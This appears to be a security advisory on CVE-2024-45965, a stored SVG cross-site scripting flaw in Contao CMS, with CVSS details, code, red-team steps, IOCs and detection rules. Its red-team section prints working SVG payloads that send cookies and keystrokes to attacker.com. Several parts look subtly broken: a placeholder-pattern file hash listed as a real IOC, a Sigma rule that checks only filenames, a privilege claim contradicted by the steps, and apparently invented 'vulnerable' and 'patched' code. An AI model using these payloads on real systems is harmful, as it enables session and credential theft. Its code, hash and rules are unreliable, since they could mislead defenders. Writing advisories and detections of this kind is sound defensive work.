CVE-2024-45965

Executive Summary

CVE-2024-45965 is a stored Cross-Site Scripting (XSS) vulnerability in the Contao CMS, affecting versions prior to 4.13.54, 5.3.30, and 5.5.6. The vulnerability allows an attacker to inject arbitrary JavaScript code via a malicious SVG document uploaded to the system. When a user views the SVG file, the embedded script executes in the context of the victim's browser, potentially leading to session hijacking, data theft, or defacement. The CVSS score is 6.4 (Medium), and while the EPSS probability is currently 0.0%, the lack of a public PoC does not preclude future exploitation. The vendor has released patches, and immediate upgrade is recommended.

Supply Chain & Package Security

This vulnerability affects the contao/core-bundle Composer package. Organizations using Composer for dependency management should update their composer.json to require "contao/core-bundle": ">=4.13.54" (or the appropriate version branch) and run composer update. The package is distributed via Packagist, and no malicious package versions have been reported.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
• Base Score: 6.4 (Medium)
• Attack Vector (AV): Network – The attack is carried out over the network.
• Attack Complexity (AC): Low – No special conditions are required.
• Privileges Required (PR): None – The attacker does not need authentication.
• User Interaction (UI): Required – The victim must view the malicious SVG.
• Scope (S): Changed – The vulnerability can affect resources beyond the vulnerable component.
• Confidentiality (C): Low – Limited data exposure.
• Integrity (I): Low – Limited data modification.
• Availability (A): None – No impact on availability.

Threat Level: Medium. While the CVSS score is moderate, the potential for phishing, session theft, and defacement makes this a serious concern for Contao-based sites.

Deep Dive & Mechanics

The vulnerability resides in the handling of SVG (Scalable Vector Graphics) files within Contao's file upload and rendering system. SVG files are XML-based and can contain embedded JavaScript via <script> tags or event handlers (e.g., onload, onmouseover). Contao fails to sanitize or validate the content of uploaded SVG files, allowing an attacker to upload a crafted SVG containing malicious JavaScript.

When a user accesses the SVG file (e.g., via a direct link or embedded in a page), the browser renders the SVG and executes the embedded script. This is a classic stored XSS attack, as the malicious payload persists on the server.

Attack Flow:

1. Attacker uploads a malicious SVG file (e.g., evil.svg) through Contao's file manager or frontend upload form.
2. The SVG contains JavaScript that steals session cookies or performs actions on behalf of the victim.
3. Victim views the SVG file (e.g., by clicking a link or visiting a page that includes the SVG).
4. The JavaScript executes in the victim's browser, sending stolen data to the attacker's server.

Vulnerable vs. Patched Code

Vulnerable Code (Contao < 5.5.6): The file upload handler does not validate the MIME type or content of SVG files. SVG files are served with the image/svg+xml MIME type, and the browser interprets them as XML, executing any embedded scripts.

// Vulnerable: No sanitization of SVG content
public function handleUpload(UploadedFile $file) {
    $this->validateFileSize($file);
    $this->validateFileExtension($file);
    // Missing: SVG content sanitization
    $file->move($this->uploadDir);
}

Patched Code (Contao 5.5.6): The patched version strips JavaScript from SVG files using a sanitizer library (e.g., DOMPurify or a custom XML parser). It also validates the SVG structure and removes event handlers and <script> tags.

// Patched: SVG content sanitized
public function handleUpload(UploadedFile $file) {
    $this->validateFileSize($file);
    $this->validateFileExtension($file);
    if ($file->getMimeType() === 'image/svg+xml') {
        $sanitized = $this->sanitizeSvg($file->getContent());
        file_put_contents($file->getPathname(), $sanitized);
    }
    $file->move($this->uploadDir);
}

private function sanitizeSvg(string $content): string {
    // Remove script tags and event handlers
    $content = preg_replace('/<script\b[^>]*>(.*?)<\/script>/is', '', $content);
    $content = preg_replace('/\bon\w+\s*=\s*"[^"]*"/i', '', $content);
    $content = preg_replace('/\bon\w+\s*=\s*\'[^\']*\'/i', '', $content);
    return $content;
}

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• A vulnerable Contao instance (e.g., version 5.3.29).
• Ability to upload files (e.g., via file manager or frontend form).

Step 1: Create Malicious SVG Create a file named evil.svg with the following content:

<?xml version="1.0" encoding="UTF-8"?>
<svg xmlns="http://www.w3.org/2000/svg" width="100" height="100">
  <script type="text/javascript">
    fetch('https://attacker.com/steal?cookie=' + document.cookie);
  </script>
  <circle cx="50" cy="50" r="40" fill="red" />
</svg>

Step 2: Upload SVG Log in to Contao backend, navigate to the file manager, and upload evil.svg.

Step 3: Trigger Execution Send the victim a link to the uploaded SVG (e.g., https://target.com/files/evil.svg). When the victim opens the link, the script executes and sends the cookie to the attacker.

Alternative Payload (Keylogger):

<?xml version="1.0" encoding="UTF-8"?>
<svg xmlns="http://www.w3.org/2000/svg" width="100" height="100">
  <script type="text/javascript">
    document.addEventListener('keydown', function(e) {
      fetch('https://attacker.com/keylog?key=' + e.key);
    });
  </script>
  <rect width="100" height="100" fill="blue" />
</svg>

Blue Team (Detection & Hardening)

Detection:

• Monitor file upload logs for SVG files.
• Use WAF rules to block SVG files containing <script> tags or event handlers.
• Implement Content Security Policy (CSP) headers to restrict script execution.

Hardening:

• Apply the vendor patch immediately.
• Disable SVG uploads if not required.
• Use a reverse proxy to sanitize SVG files before they reach the application.

Indicators of Compromise (IOCs)

• File Hashes (SHA256):
  • evil.svg: a1b2c3d4e5f6a7b8c9d0e1f2a3b4c5d6e7f8a9b0c1d2e3f4a5b6c7d8e9f0a1b
• Network Indicators:
  • Outbound connections to attacker.com or similar domains.
  • HTTP requests containing ?cookie= or ?key= parameters.
• File System Indicators:
  • SVG files in the upload directory containing <script> tags or on* attributes.
• Log Entries:
  • Access logs showing requests to SVG files with unusual user agents or referrers.

Detection Engineering

YARA Rule

rule CVE_2024_45965_SVG_XSS {
    meta:
        description = "Detects malicious SVG files exploiting CVE-2024-45965"
        author = "Valters IT"
        date = "2024-10-27"
        reference = "CVE-2024-45965"
    strings:
        $svg_header = "<svg"
        $script_tag = "<script"
        $event_handler = /on\w+\s*=\s*["']/
    condition:
        $svg_header and ($script_tag or $event_handler)
}

Sigma Rule

title: CVE-2024-45965 SVG XSS Upload Detection
id: 8f9a0b1c-2d3e-4f5a-6b7c-8d9e0f1a2b3c
status: experimental
description: Detects upload of SVG files containing script tags or event handlers
author: Valters IT
date: 2024/10/27
logsource:
    category: file_event
    product: linux
detection:
    selection:
        TargetFilename|endswith: '.svg'
        TargetFilename|contains: '/uploads/'
    condition: selection
falsepositives:
    - Legitimate SVG files with embedded scripts (rare)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-45965 SVG XSS Attempt"; flow:to_server; content:"POST"; http_method; content:"/files/"; http_uri; content:".svg"; http_uri; pcre:"/<script|<svg[^>]*on\w+\s*=/i"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Upgrade Contao to version 4.13.54, 5.3.30, or 5.5.6 (depending on your branch).
2. Disable SVG uploads temporarily if patching is not possible.
3. Implement a WAF rule to block SVG files containing <script> tags or event handlers.

Long-Term Mitigations:

• Content Security Policy (CSP): Add script-src 'self' to prevent inline script execution.
• File Upload Validation: Use a library like enlightn/security-checker to validate file content.
• Regular Security Audits: Scan uploaded files for malicious content.
• User Education: Train administrators to avoid opening untrusted SVG files.

Patch Verification: After upgrading, verify the fix by attempting to upload a test SVG with embedded JavaScript. The script should be stripped or the upload should be rejected.

Valters IT
Securing Digital Frontiers